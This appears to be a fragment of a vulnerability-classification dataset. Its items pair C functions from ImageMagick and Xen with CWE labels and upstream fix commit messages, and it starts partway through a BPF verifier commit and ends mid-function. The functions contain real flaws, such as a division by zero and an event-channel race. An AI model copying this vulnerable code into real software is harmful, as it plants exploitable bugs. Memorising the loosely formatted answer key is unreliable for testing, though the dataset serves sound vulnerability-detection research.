R1_w=inv(id=0) R10=fp0 fp-8=mmmmmmmm\n 9: (b7) r0 = 1\n 10: R0_w=inv1 R1_w=inv(id=0) R10=fp0 fp-8=mmmmmmmm\n 10: (18) r2 = 0x600000002\n 12: R0_w=inv1 R1_w=inv(id=0) R2_w=inv25769803778 R10=fp0 fp-8=mmmmmmmm\n 12: (ad) if r1 < r2 goto pc+1\n R0_w=inv1 R1_w=inv(id=0,umin_value=25769803778) R2_w=inv25769803778 R10=fp0 fp-8=mmmmmmmm\n 13: R0_w=inv1 R1_w=inv(id=0,umin_value=25769803778) R2_w=inv25769803778 R10=fp0 fp-8=mmmmmmmm\n 13: (95) exit\n 14: R0_w=inv1 R1_w=inv(id=0,umax_value=25769803777,var_off=(0x0; 0x7ffffffff)) R2_w=inv25769803778 R10=fp0 fp-8=mmmmmmmm\n 14: (25) if r1 > 0x0 goto pc+1\n R0_w=inv1 R1_w=inv(id=0,umax_value=0,var_off=(0x0; 0x7fffffff),u32_max_value=2147483647) R2_w=inv25769803778 R10=fp0 fp-8=mmmmmmmm\n 15: R0_w=inv1 R1_w=inv(id=0,umax_value=0,var_off=(0x0; 0x7fffffff),u32_max_value=2147483647) R2_w=inv25769803778 R10=fp0 fp-8=mmmmmmmm\n 15: (95) exit\n 16: R0_w=inv1 R1_w=inv(id=0,umin_value=1,umax_value=25769803777,var_off=(0x0; 0x77fffffff),u32_max_value=2147483647) R2_w=inv25769803778 R10=fp0 fp-8=mmmmmmmm\n 16: (47) r1 |= 0\n 17: R0_w=inv1 R1_w=inv(id=0,umin_value=1,umax_value=32212254719,var_off=(0x1; 0x700000000),s32_max_value=1,u32_max_value=1) R2_w=inv25769803778 R10=fp0 fp-8=mmmmmmmm\n [...]\n\nThe bound tests on the map value force the upper unsigned bound to be 25769803777\nin 64 bit (0b11000000000000000000000000000000001) and then lower one to be 1. By\nusing OR they are truncated and thus result in the range [1,1] for the 32 bit reg\ntracker. This is incorrect given the only thing we know is that the value must be\npositive and thus 2147483647 (0b1111111111111111111111111111111) at max for the\nsubregs. Fix it by using the {u,s}32_{min,max}_value vars instead. This also makes\nsense, for example, for the case where we update dst_reg->s32_{min,max}_value in\nthe else branch we need to use the newly computed dst_reg->u32_{min,max}_value as\nwe know that these are positive. Previously, in the else branch the 64 bit values\nof umin_value=1 and umax_value=32212254719 were used and latter got truncated to\nbe 1 as upper bound there. After the fix the subreg range is now correct:\n\n [...]\n 8: R0=map_value(id=0,off=0,ks=4,vs=48,imm=0) R10=fp0 fp-8=mmmmmmmm\n 8: (79) r1 = *(u64 *)(r0 +0)\n R0=map_value(id=0,off=0,ks=4,vs=48,imm=0) R10=fp0 fp-8=mmmmmmmm\n 9: R0=map_value(id=0,off=0,ks=4,vs=48,imm=0) R1_w=inv(id=0) R10=fp0 fp-8=mmmmmmmm\n 9: (b7) r0 = 1\n 10: R0_w=inv1 R1_w=inv(id=0) R10=fp0 fp-8=mmmmmmmm\n 10: (18) r2 = 0x600000002\n 12: R0_w=inv1 R1_w=inv(id=0) R2_w=inv25769803778 R10=fp0 fp-8=mmmmmmmm\n 12: (ad) if r1 < r2 goto pc+1\n R0_w=inv1 R1_w=inv(id=0,umin_value=25769803778) R2_w=inv25769803778 R10=fp0 fp-8=mmmmmmmm\n 13: R0_w=inv1 R1_w=inv(id=0,umin_value=25769803778) R2_w=inv25769803778 R10=fp0 fp-8=mmmmmmmm\n 13: (95) exit\n 14: R0_w=inv1 R1_w=inv(id=0,umax_value=25769803777,var_off=(0x0; 0x7ffffffff)) R2_w=inv25769803778 R10=fp0 fp-8=mmmmmmmm\n 14: (25) if r1 > 0x0 goto pc+1\n R0_w=inv1 R1_w=inv(id=0,umax_value=0,var_off=(0x0; 0x7fffffff),u32_max_value=2147483647) R2_w=inv25769803778 R10=fp0 fp-8=mmmmmmmm\n 15: R0_w=inv1 R1_w=inv(id=0,umax_value=0,var_off=(0x0; 0x7fffffff),u32_max_value=2147483647) R2_w=inv25769803778 R10=fp0 fp-8=mmmmmmmm\n 15: (95) exit\n 16: R0_w=inv1 R1_w=inv(id=0,umin_value=1,umax_value=25769803777,var_off=(0x0; 0x77fffffff),u32_max_value=2147483647) R2_w=inv25769803778 R10=fp0 fp-8=mmmmmmmm\n 16: (47) r1 |= 0\n 17: R0_w=inv1 R1_w=inv(id=0,umin_value=1,umax_value=32212254719,var_off=(0x0; 0x77fffffff),u32_max_value=2147483647) R2_w=inv25769803778 R10=fp0 fp-8=mmmmmmmm\n [...]\n\nFixes: 3f50f132d840 (\"bpf: Verifier, do explicit ALU32 bounds tracking\")\nReported-by: Simon Scannell \nSigned-off-by: Daniel Borkmann \nReviewed-by: John Fastabend \nAcked-by: Alexei Starovoitov '" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: static Image *OptimizeLayerFrames(const Image *image,const LayerMethod method,\n ExceptionInfo *exception)\n{\n ExceptionInfo\n *sans_exception;\n\n Image\n *prev_image,\n *dup_image,\n *bgnd_image,\n *optimized_image;\n\n RectangleInfo\n try_bounds,\n bgnd_bounds,\n dup_bounds,\n *bounds;\n\n MagickBooleanType\n add_frames,\n try_cleared,\n cleared;\n\n DisposeType\n *disposals;\n\n register const Image\n *curr;\n\n register ssize_t\n i;\n\n assert(image != (const Image *) NULL);\n assert(image->signature == MagickCoreSignature);\n if (image->debug != MagickFalse)\n (void) LogMagickEvent(TraceEvent,GetMagickModule(),\"%s\",image->filename);\n assert(exception != (ExceptionInfo *) NULL);\n assert(exception->signature == MagickCoreSignature);\n assert(method == OptimizeLayer ||\n method == OptimizeImageLayer ||\n method == OptimizePlusLayer);\n /*\n Are we allowed to add/remove frames from animation?\n */\n add_frames=method == OptimizePlusLayer ? MagickTrue : MagickFalse;\n /*\n Ensure all the images are the same size.\n */\n curr=GetFirstImageInList(image);\n for (; curr != (Image *) NULL; curr=GetNextImageInList(curr))\n {\n if ((curr->columns != image->columns) || (curr->rows != image->rows))\n ThrowImageException(OptionError,\"ImagesAreNotTheSameSize\");\n\n if ((curr->page.x != 0) || (curr->page.y != 0) ||\n (curr->page.width != image->page.width) ||\n (curr->page.height != image->page.height))\n ThrowImageException(OptionError,\"ImagePagesAreNotCoalesced\");\n }\n /*\n Allocate memory (times 2 if we allow the use of frame duplications)\n */\n curr=GetFirstImageInList(image);\n bounds=(RectangleInfo *) AcquireQuantumMemory((size_t)\n GetImageListLength(curr),(add_frames != MagickFalse ? 2UL : 1UL)*\n sizeof(*bounds));\n if (bounds == (RectangleInfo *) NULL)\n ThrowImageException(ResourceLimitError,\"MemoryAllocationFailed\");\n disposals=(DisposeType *) AcquireQuantumMemory((size_t)\n GetImageListLength(image),(add_frames != MagickFalse ? 2UL : 1UL)*\n sizeof(*disposals));\n if (disposals == (DisposeType *) NULL)\n {\n bounds=(RectangleInfo *) RelinquishMagickMemory(bounds);\n ThrowImageException(ResourceLimitError,\"MemoryAllocationFailed\");\n }\n /*\n Initialise Previous Image as fully transparent\n */\n prev_image=CloneImage(curr,curr->columns,curr->rows,MagickTrue,exception);\n if (prev_image == (Image *) NULL)\n {\n bounds=(RectangleInfo *) RelinquishMagickMemory(bounds);\n disposals=(DisposeType *) RelinquishMagickMemory(disposals);\n return((Image *) NULL);\n }\n prev_image->page=curr->page; /* ERROR: <-- should not be need, but is! */\n prev_image->page.x=0;\n prev_image->page.y=0;\n prev_image->dispose=NoneDispose;\n prev_image->background_color.alpha_trait=BlendPixelTrait;\n prev_image->background_color.alpha=(MagickRealType) TransparentAlpha;\n (void) SetImageBackgroundColor(prev_image,exception);\n /*\n Figure out the area of overlay of the first frame\n No pixel could be cleared as all pixels are already cleared.\n */\n#if DEBUG_OPT_FRAME\n i=0;\n (void) FormatLocaleFile(stderr,\"frame %.20g :-\\n\",(double) i);\n#endif\n disposals[0]=NoneDispose;\n bounds[0]=CompareImagesBounds(prev_image,curr,CompareAnyLayer,exception);\n#if DEBUG_OPT_FRAME\n (void) FormatLocaleFile(stderr, \"overlay: %.20gx%.20g%+.20g%+.20g\\n\\n\",\n (double) bounds[i].width,(double) bounds[i].height,\n (double) bounds[i].x,(double) bounds[i].y );\n#endif\n /*\n Compute the bounding box of changes for each pair of images.\n */\n i=1;\n bgnd_image=(Image *) NULL;\n dup_image=(Image *) NULL;\n dup_bounds.width=0;\n dup_bounds.height=0;\n dup_bounds.x=0;\n dup_bounds.y=0;\n curr=GetNextImageInList(curr);\n for ( ; curr != (const Image *) NULL; curr=GetNextImageInList(curr))\n {\n#if DEBUG_OPT_FRAME\n (void) FormatLocaleFile(stderr,\"frame %.20g :-\\n\",(double) i);\n#endif\n /*\n Assume none disposal is the best\n */\n bounds[i]=CompareImagesBounds(curr->previous,curr,CompareAnyLayer,exception);\n cleared=IsBoundsCleared(curr->previous,curr,&bounds[i],exception);\n disposals[i-1]=NoneDispose;\n#if DEBUG_OPT_FRAME\n (void) FormatLocaleFile(stderr, \"overlay: %.20gx%.20g%+.20g%+.20g%s%s\\n\",\n (double) bounds[i].width,(double) bounds[i].height,\n (double) bounds[i].x,(double) bounds[i].y,\n bounds[i].x < 0?\" (unchanged)\":\"\",\n cleared?\" (pixels cleared)\":\"\");\n#endif\n if ( bounds[i].x < 0 ) {\n /*\n Image frame is exactly the same as the previous frame!\n If not adding frames leave it to be cropped down to a null image.\n Otherwise mark previous image for deleted, transfering its crop bounds\n to the current image.\n */\n if ( add_frames && i>=2 ) {\n disposals[i-1]=DelDispose;\n disposals[i]=NoneDispose;\n bounds[i]=bounds[i-1];\n i++;\n continue;\n }\n }\n else\n {\n /*\n Compare a none disposal against a previous disposal\n */\n try_bounds=CompareImagesBounds(prev_image,curr,CompareAnyLayer,exception);\n try_cleared=IsBoundsCleared(prev_image,curr,&try_bounds,exception);\n#if DEBUG_OPT_FRAME\n (void) FormatLocaleFile(stderr, \"test_prev: %.20gx%.20g%+.20g%+.20g%s\\n\",\n (double) try_bounds.width,(double) try_bounds.height,\n (double) try_bounds.x,(double) try_bounds.y,\n try_cleared?\" (pixels were cleared)\":\"\");\n#endif\n if ( (!try_cleared && cleared ) ||\n try_bounds.width * try_bounds.height\n < bounds[i].width * bounds[i].height )\n {\n cleared=try_cleared;\n bounds[i]=try_bounds;\n disposals[i-1]=PreviousDispose;\n#if DEBUG_OPT_FRAME\n (void) FormatLocaleFile(stderr,\"previous: accepted\\n\");\n } else {\n (void) FormatLocaleFile(stderr,\"previous: rejected\\n\");\n#endif\n }\n\n /*\n If we are allowed lets try a complex frame duplication.\n It is useless if the previous image already clears pixels correctly.\n This method will always clear all the pixels that need to be cleared.\n */\n dup_bounds.width=dup_bounds.height=0; /* no dup, no pixel added */\n if ( add_frames )\n {\n dup_image=CloneImage(curr->previous,0,0,MagickTrue,exception);\n if (dup_image == (Image *) NULL)\n {\n bounds=(RectangleInfo *) RelinquishMagickMemory(bounds);\n disposals=(DisposeType *) RelinquishMagickMemory(disposals);\n prev_image=DestroyImage(prev_image);\n return((Image *) NULL);\n }\n dup_image->background_color.alpha_trait=BlendPixelTrait;\n dup_bounds=CompareImagesBounds(dup_image,curr,CompareClearLayer,exception);\n ClearBounds(dup_image,&dup_bounds,exception);\n try_bounds=CompareImagesBounds(dup_image,curr,CompareAnyLayer,exception);\n if ( cleared ||\n dup_bounds.width*dup_bounds.height\n +try_bounds.width*try_bounds.height\n < bounds[i].width * bounds[i].height )\n {\n cleared=MagickFalse;\n bounds[i]=try_bounds;\n disposals[i-1]=DupDispose;\n /* to be finalised later, if found to be optimial */\n }\n else\n dup_bounds.width=dup_bounds.height=0;\n }\n /*\n Now compare against a simple background disposal\n */\n bgnd_image=CloneImage(curr->previous,0,0,MagickTrue,exception);\n if (bgnd_image == (Image *) NULL)\n {\n bounds=(RectangleInfo *) RelinquishMagickMemory(bounds);\n disposals=(DisposeType *) RelinquishMagickMemory(disposals);\n prev_image=DestroyImage(prev_image);\n if ( dup_image != (Image *) NULL)\n dup_image=DestroyImage(dup_image);\n return((Image *) NULL);\n }\n bgnd_image->background_color.alpha_trait=BlendPixelTrait;\n bgnd_bounds=bounds[i-1]; /* interum bounds of the previous image */\n ClearBounds(bgnd_image,&bgnd_bounds,exception);\n try_bounds=CompareImagesBounds(bgnd_image,curr,CompareAnyLayer,exception);\n try_cleared=IsBoundsCleared(bgnd_image,curr,&try_bounds,exception);\n#if DEBUG_OPT_FRAME\n (void) FormatLocaleFile(stderr, \"background: %s\\n\",\n try_cleared?\"(pixels cleared)\":\"\");\n#endif\n if ( try_cleared )\n {\n /*\n Straight background disposal failed to clear pixels needed!\n Lets try expanding the disposal area of the previous frame, to\n include the pixels that are cleared. This guaranteed\n to work, though may not be the most optimized solution.\n */\n try_bounds=CompareImagesBounds(curr->previous,curr,CompareClearLayer,exception);\n#if DEBUG_OPT_FRAME\n (void) FormatLocaleFile(stderr, \"expand_clear: %.20gx%.20g%+.20g%+.20g%s\\n\",\n (double) try_bounds.width,(double) try_bounds.height,\n (double) try_bounds.x,(double) try_bounds.y,\n try_bounds.x<0?\" (no expand nessary)\":\"\");\n#endif\n if ( bgnd_bounds.x < 0 )\n bgnd_bounds = try_bounds;\n else\n {\n#if DEBUG_OPT_FRAME\n (void) FormatLocaleFile(stderr, \"expand_bgnd: %.20gx%.20g%+.20g%+.20g\\n\",\n (double) bgnd_bounds.width,(double) bgnd_bounds.height,\n (double) bgnd_bounds.x,(double) bgnd_bounds.y );\n#endif\n if ( try_bounds.x < bgnd_bounds.x )\n {\n bgnd_bounds.width+= bgnd_bounds.x-try_bounds.x;\n if ( bgnd_bounds.width < try_bounds.width )\n bgnd_bounds.width = try_bounds.width;\n bgnd_bounds.x = try_bounds.x;\n }\n else\n {\n try_bounds.width += try_bounds.x - bgnd_bounds.x;\n if ( bgnd_bounds.width < try_bounds.width )\n bgnd_bounds.width = try_bounds.width;\n }\n if ( try_bounds.y < bgnd_bounds.y )\n {\n bgnd_bounds.height += bgnd_bounds.y - try_bounds.y;\n if ( bgnd_bounds.height < try_bounds.height )\n bgnd_bounds.height = try_bounds.height;\n bgnd_bounds.y = try_bounds.y;\n }\n else\n {\n try_bounds.height += try_bounds.y - bgnd_bounds.y;\n if ( bgnd_bounds.height < try_bounds.height )\n bgnd_bounds.height = try_bounds.height;\n }\n#if DEBUG_OPT_FRAME\n (void) FormatLocaleFile(stderr, \" to : %.20gx%.20g%+.20g%+.20g\\n\",\n (double) bgnd_bounds.width,(double) bgnd_bounds.height,\n (double) bgnd_bounds.x,(double) bgnd_bounds.y );\n#endif\n }\n ClearBounds(bgnd_image,&bgnd_bounds,exception);\n#if DEBUG_OPT_FRAME\n/* Something strange is happening with a specific animation\n * CompareAnyLayers (normal method) and CompareClearLayers returns the whole\n * image, which is not posibly correct! As verified by previous tests.\n * Something changed beyond the bgnd_bounds clearing. But without being able\n * to see, or writet he image at this point it is hard to tell what is wrong!\n * Only CompareOverlay seemed to return something sensible.\n */\n try_bounds=CompareImagesBounds(bgnd_image,curr,CompareClearLayer,exception);\n (void) FormatLocaleFile(stderr, \"expand_ctst: %.20gx%.20g%+.20g%+.20g\\n\",\n (double) try_bounds.width,(double) try_bounds.height,\n (double) try_bounds.x,(double) try_bounds.y );\n try_bounds=CompareImagesBounds(bgnd_image,curr,CompareAnyLayer,exception);\n try_cleared=IsBoundsCleared(bgnd_image,curr,&try_bounds,exception);\n (void) FormatLocaleFile(stderr, \"expand_any : %.20gx%.20g%+.20g%+.20g%s\\n\",\n (double) try_bounds.width,(double) try_bounds.height,\n (double) try_bounds.x,(double) try_bounds.y,\n try_cleared?\" (pixels cleared)\":\"\");\n#endif\n try_bounds=CompareImagesBounds(bgnd_image,curr,CompareOverlayLayer,exception);\n#if DEBUG_OPT_FRAME\n try_cleared=IsBoundsCleared(bgnd_image,curr,&try_bounds,exception);\n (void) FormatLocaleFile(stderr, \"expand_test: %.20gx%.20g%+.20g%+.20g%s\\n\",\n (double) try_bounds.width,(double) try_bounds.height,\n (double) try_bounds.x,(double) try_bounds.y,\n try_cleared?\" (pixels cleared)\":\"\");\n#endif\n }\n /*\n Test if this background dispose is smaller than any of the\n other methods we tryed before this (including duplicated frame)\n */\n if ( cleared ||\n bgnd_bounds.width*bgnd_bounds.height\n +try_bounds.width*try_bounds.height\n < bounds[i-1].width*bounds[i-1].height\n +dup_bounds.width*dup_bounds.height\n +bounds[i].width*bounds[i].height )\n {\n cleared=MagickFalse;\n bounds[i-1]=bgnd_bounds;\n bounds[i]=try_bounds;\n if ( disposals[i-1] == DupDispose )\n dup_image=DestroyImage(dup_image);\n disposals[i-1]=BackgroundDispose;\n#if DEBUG_OPT_FRAME\n (void) FormatLocaleFile(stderr,\"expand_bgnd: accepted\\n\");\n } else {\n (void) FormatLocaleFile(stderr,\"expand_bgnd: reject\\n\");\n#endif\n }\n }\n /*\n Finalise choice of dispose, set new prev_image,\n and junk any extra images as appropriate,\n */\n if ( disposals[i-1] == DupDispose )\n {\n if (bgnd_image != (Image *) NULL)\n bgnd_image=DestroyImage(bgnd_image);\n prev_image=DestroyImage(prev_image);\n prev_image=dup_image, dup_image=(Image *) NULL;\n bounds[i+1]=bounds[i];\n bounds[i]=dup_bounds;\n disposals[i-1]=DupDispose;\n disposals[i]=BackgroundDispose;\n i++;\n }\n else\n {\n if ( dup_image != (Image *) NULL)\n dup_image=DestroyImage(dup_image);\n if ( disposals[i-1] != PreviousDispose )\n prev_image=DestroyImage(prev_image);\n if ( disposals[i-1] == BackgroundDispose )\n prev_image=bgnd_image, bgnd_image=(Image *) NULL;\n if (bgnd_image != (Image *) NULL)\n bgnd_image=DestroyImage(bgnd_image);\n if ( disposals[i-1] == NoneDispose )\n {\n prev_image=ReferenceImage(curr->previous);\n if (prev_image == (Image *) NULL)\n {\n bounds=(RectangleInfo *) RelinquishMagickMemory(bounds);\n disposals=(DisposeType *) RelinquishMagickMemory(disposals);\n return((Image *) NULL);\n }\n }\n\n }\n assert(prev_image != (Image *) NULL);\n disposals[i]=disposals[i-1];\n#if DEBUG_OPT_FRAME\n (void) FormatLocaleFile(stderr, \"final %.20g : %s %.20gx%.20g%+.20g%+.20g\\n\",\n (double) i-1,\n CommandOptionToMnemonic(MagickDisposeOptions,disposals[i-1]),\n (double) bounds[i-1].width,(double) bounds[i-1].height,\n (double) bounds[i-1].x,(double) bounds[i-1].y );\n#endif\n#if DEBUG_OPT_FRAME\n (void) FormatLocaleFile(stderr, \"interum %.20g : %s %.20gx%.20g%+.20g%+.20g\\n\",\n (double) i,\n CommandOptionToMnemonic(MagickDisposeOptions,disposals[i]),\n (double) bounds[i].width,(double) bounds[i].height,\n (double) bounds[i].x,(double) bounds[i].y );\n (void) FormatLocaleFile(stderr,\"\\n\");\n#endif\n i++;\n }\n prev_image=DestroyImage(prev_image);\n /*\n Optimize all images in sequence.\n */\n sans_exception=AcquireExceptionInfo();\n i=0;\n curr=GetFirstImageInList(image);\n optimized_image=NewImageList();\n while ( curr != (const Image *) NULL )\n {\n prev_image=CloneImage(curr,0,0,MagickTrue,exception);\n if (prev_image == (Image *) NULL)\n break;\n prev_image->background_color.alpha_trait=BlendPixelTrait;\n if ( disposals[i] == DelDispose ) {\n size_t time = 0;\n while ( disposals[i] == DelDispose ) {\n time += curr->delay*1000/curr->ticks_per_second;\n curr=GetNextImageInList(curr);\n i++;\n }\n time += curr->delay*1000/curr->ticks_per_second;\n prev_image->ticks_per_second = 100L;\n prev_image->delay = time*prev_image->ticks_per_second/1000;\n }\n bgnd_image=CropImage(prev_image,&bounds[i],sans_exception);\n prev_image=DestroyImage(prev_image);\n if (bgnd_image == (Image *) NULL)\n break;\n bgnd_image->dispose=disposals[i];\n if ( disposals[i] == DupDispose ) {\n bgnd_image->delay=0;\n bgnd_image->dispose=NoneDispose;\n }\n else\n curr=GetNextImageInList(curr);\n AppendImageToList(&optimized_image,bgnd_image);\n i++;\n }\n sans_exception=DestroyExceptionInfo(sans_exception);\n bounds=(RectangleInfo *) RelinquishMagickMemory(bounds);\n disposals=(DisposeType *) RelinquishMagickMemory(disposals);\n if (curr != (Image *) NULL)\n {\n optimized_image=DestroyImageList(optimized_image);\n return((Image *) NULL);\n }\n return(GetFirstImageInList(optimized_image));\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-399', 'CWE-369'], 'message': 'There is a Division by Zero in function OptimizeLayerFrames (#2743)\n\nin file MagickCore/layer.c. cur->ticks_per_seconds can be zero\r\nwith a crafted input argument *image. This is similar to\r\nCVE-2019-13454.'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: static void handle_irq_for_port(evtchn_port_t port)\n{\n\tint irq;\n\n\tirq = get_evtchn_to_irq(port);\n\tif (irq != -1)\n\t\tgeneric_handle_irq(irq);\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-400', 'CWE-703'], 'message': 'xen/events: defer eoi in case of excessive number of events\n\nIn case rogue guests are sending events at high frequency it might\nhappen that xen_evtchn_do_upcall() won't stop processing events in\ndom0. As this is done in irq handling a crash might be the result.\n\nIn order to avoid that, delay further inter-domain events after some\ntime in xen_evtchn_do_upcall() by forcing eoi processing into a\nworker on the same cpu, thus inhibiting new events coming in.\n\nThe time after which eoi processing is to be delayed is configurable\nvia a new module parameter \"event_loop_timeout\" which specifies the\nmaximum event loop time in jiffies (default: 2, the value was chosen\nafter some tests showing that a value of 2 was the lowest with an\nonly slight drop of dom0 network throughput while multiple guests\nperformed an event storm).\n\nHow long eoi processing will be delayed can be specified via another\nparameter \"event_eoi_delay\" (again in jiffies, default 10, again the\nvalue was chosen after testing with different delay values).\n\nThis is part of XSA-332.\n\nCc: stable@vger.kernel.org\nReported-by: Julien Grall \nSigned-off-by: Juergen Gross \nReviewed-by: Stefano Stabellini \nReviewed-by: Wei Liu '" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: int get_evtchn_to_irq(evtchn_port_t evtchn)\n{\n\tif (evtchn >= xen_evtchn_max_channels())\n\t\treturn -1;\n\tif (evtchn_to_irq[EVTCHN_ROW(evtchn)] == NULL)\n\t\treturn -1;\n\treturn evtchn_to_irq[EVTCHN_ROW(evtchn)][EVTCHN_COL(evtchn)];\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-362', 'CWE-476'], 'message': 'xen/events: avoid removing an event channel while handling it\n\nToday it can happen that an event channel is being removed from the\nsystem while the event handling loop is active. This can lead to a\nrace resulting in crashes or WARN() splats when trying to access the\nirq_info structure related to the event channel.\n\nFix this problem by using a rwlock taken as reader in the event\nhandling loop and as writer when deallocating the irq_info structure.\n\nAs the observed problem was a NULL dereference in evtchn_from_irq()\nmake this function more robust against races by testing the irq_info\npointer to be not NULL before dereferencing it.\n\nAnd finally make all accesses to evtchn_to_irq[row][col] atomic ones\nin order to avoid seeing partial updates of an array element in irq\nhandling. Note that irq handling can be entered only for event channels\nwhich have been valid before, so any not populated row isn't a problem\nin this regard, as rows are only ever added and never removed.\n\nThis is XSA-331.\n\nCc: stable@vger.kernel.org\nReported-by: Marek Marczykowski-G\u00f3recki \nReported-by: Jinoh Kang \nSigned-off-by: Juergen Gross \nReviewed-by: Stefano Stabellini \nReviewed-by: Wei Liu '" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: static MagickBooleanType WriteOnePNGImage(MngInfo *mng_info,\n const ImageInfo *IMimage_info,Image *IMimage,ExceptionInfo *exception)\n{\n char\n im_vers[32],\n libpng_runv[32],\n libpng_vers[32],\n zlib_runv[32],\n zlib_vers[32];\n\n Image\n *image;\n\n ImageInfo\n *image_info;\n\n char\n *name,\n s[2];\n\n const char\n *property,\n *value;\n\n const StringInfo\n *profile;\n\n int\n num_passes,\n pass,\n ping_wrote_caNv;\n\n png_byte\n ping_trans_alpha[256];\n\n png_color\n palette[257];\n\n png_color_16\n ping_background,\n ping_trans_color;\n\n png_info\n *ping_info;\n\n png_struct\n *ping;\n\n png_uint_32\n ping_height,\n ping_width;\n\n ssize_t\n y;\n\n MagickBooleanType\n image_matte,\n logging,\n matte,\n\n ping_have_blob,\n ping_have_cheap_transparency,\n ping_have_color,\n ping_have_non_bw,\n ping_have_PLTE,\n ping_have_bKGD,\n ping_have_eXIf,\n ping_have_iCCP,\n ping_have_pHYs,\n ping_have_sRGB,\n ping_have_tRNS,\n\n ping_exclude_bKGD,\n ping_exclude_cHRM,\n ping_exclude_date,\n /* ping_exclude_EXIF, */\n ping_exclude_eXIf,\n ping_exclude_gAMA,\n ping_exclude_iCCP,\n /* ping_exclude_iTXt, */\n ping_exclude_oFFs,\n ping_exclude_pHYs,\n ping_exclude_sRGB,\n ping_exclude_tEXt,\n ping_exclude_tIME,\n /* ping_exclude_tRNS, */\n ping_exclude_caNv,\n ping_exclude_zCCP, /* hex-encoded iCCP */\n ping_exclude_zTXt,\n\n ping_preserve_colormap,\n ping_preserve_iCCP,\n ping_need_colortype_warning,\n\n status,\n tried_332,\n tried_333,\n tried_444;\n\n MemoryInfo\n *volatile pixel_info;\n\n QuantumInfo\n *quantum_info;\n\n PNGErrorInfo\n error_info;\n\n register ssize_t\n i,\n x;\n\n unsigned char\n *ping_pixels;\n\n volatile int\n image_colors,\n ping_bit_depth,\n ping_color_type,\n ping_interlace_method,\n ping_compression_method,\n ping_filter_method,\n ping_num_trans;\n\n volatile size_t\n image_depth,\n old_bit_depth;\n\n size_t\n quality,\n rowbytes,\n save_image_depth;\n\n int\n j,\n number_colors,\n number_opaque,\n number_semitransparent,\n number_transparent,\n ping_pHYs_unit_type;\n\n png_uint_32\n ping_pHYs_x_resolution,\n ping_pHYs_y_resolution;\n\n logging=LogMagickEvent(CoderEvent,GetMagickModule(),\n \" Enter WriteOnePNGImage()\");\n\n image = CloneImage(IMimage,0,0,MagickFalse,exception);\n if (image == (Image *) NULL)\n return(MagickFalse);\n image_info=(ImageInfo *) CloneImageInfo(IMimage_info);\n\n /* Define these outside of the following \"if logging()\" block so they will\n * show in debuggers.\n */\n *im_vers='\\0';\n (void) ConcatenateMagickString(im_vers,\n MagickLibVersionText,MagickPathExtent);\n (void) ConcatenateMagickString(im_vers,\n MagickLibAddendum,MagickPathExtent);\n\n *libpng_vers='\\0';\n (void) ConcatenateMagickString(libpng_vers,\n PNG_LIBPNG_VER_STRING,32);\n *libpng_runv='\\0';\n (void) ConcatenateMagickString(libpng_runv,\n png_get_libpng_ver(NULL),32);\n\n *zlib_vers='\\0';\n (void) ConcatenateMagickString(zlib_vers,\n ZLIB_VERSION,32);\n *zlib_runv='\\0';\n (void) ConcatenateMagickString(zlib_runv,\n zlib_version,32);\n\n if (logging != MagickFalse)\n {\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \" IM version = %s\", im_vers);\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \" Libpng version = %s\", libpng_vers);\n if (LocaleCompare(libpng_vers,libpng_runv) != 0)\n {\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \" running with %s\", libpng_runv);\n }\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \" Zlib version = %s\", zlib_vers);\n if (LocaleCompare(zlib_vers,zlib_runv) != 0)\n {\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \" running with %s\", zlib_runv);\n }\n }\n\n /* Initialize some stuff */\n ping_bit_depth=0,\n ping_color_type=0,\n ping_interlace_method=0,\n ping_compression_method=0,\n ping_filter_method=0,\n ping_num_trans = 0;\n\n ping_background.red = 0;\n ping_background.green = 0;\n ping_background.blue = 0;\n ping_background.gray = 0;\n ping_background.index = 0;\n\n ping_trans_color.red=0;\n ping_trans_color.green=0;\n ping_trans_color.blue=0;\n ping_trans_color.gray=0;\n\n ping_pHYs_unit_type = 0;\n ping_pHYs_x_resolution = 0;\n ping_pHYs_y_resolution = 0;\n\n ping_have_blob=MagickFalse;\n ping_have_cheap_transparency=MagickFalse;\n ping_have_color=MagickTrue;\n ping_have_non_bw=MagickTrue;\n ping_have_PLTE=MagickFalse;\n ping_have_bKGD=MagickFalse;\n ping_have_eXIf=MagickTrue;\n ping_have_iCCP=MagickFalse;\n ping_have_pHYs=MagickFalse;\n ping_have_sRGB=MagickFalse;\n ping_have_tRNS=MagickFalse;\n\n ping_exclude_bKGD=mng_info->ping_exclude_bKGD;\n ping_exclude_caNv=mng_info->ping_exclude_caNv;\n ping_exclude_cHRM=mng_info->ping_exclude_cHRM;\n ping_exclude_date=mng_info->ping_exclude_date;\n ping_exclude_eXIf=mng_info->ping_exclude_eXIf;\n ping_exclude_gAMA=mng_info->ping_exclude_gAMA;\n ping_exclude_iCCP=mng_info->ping_exclude_iCCP;\n /* ping_exclude_iTXt=mng_info->ping_exclude_iTXt; */\n ping_exclude_oFFs=mng_info->ping_exclude_oFFs;\n ping_exclude_pHYs=mng_info->ping_exclude_pHYs;\n ping_exclude_sRGB=mng_info->ping_exclude_sRGB;\n ping_exclude_tEXt=mng_info->ping_exclude_tEXt;\n ping_exclude_tIME=mng_info->ping_exclude_tIME;\n /* ping_exclude_tRNS=mng_info->ping_exclude_tRNS; */\n ping_exclude_zCCP=mng_info->ping_exclude_zCCP; /* hex-encoded 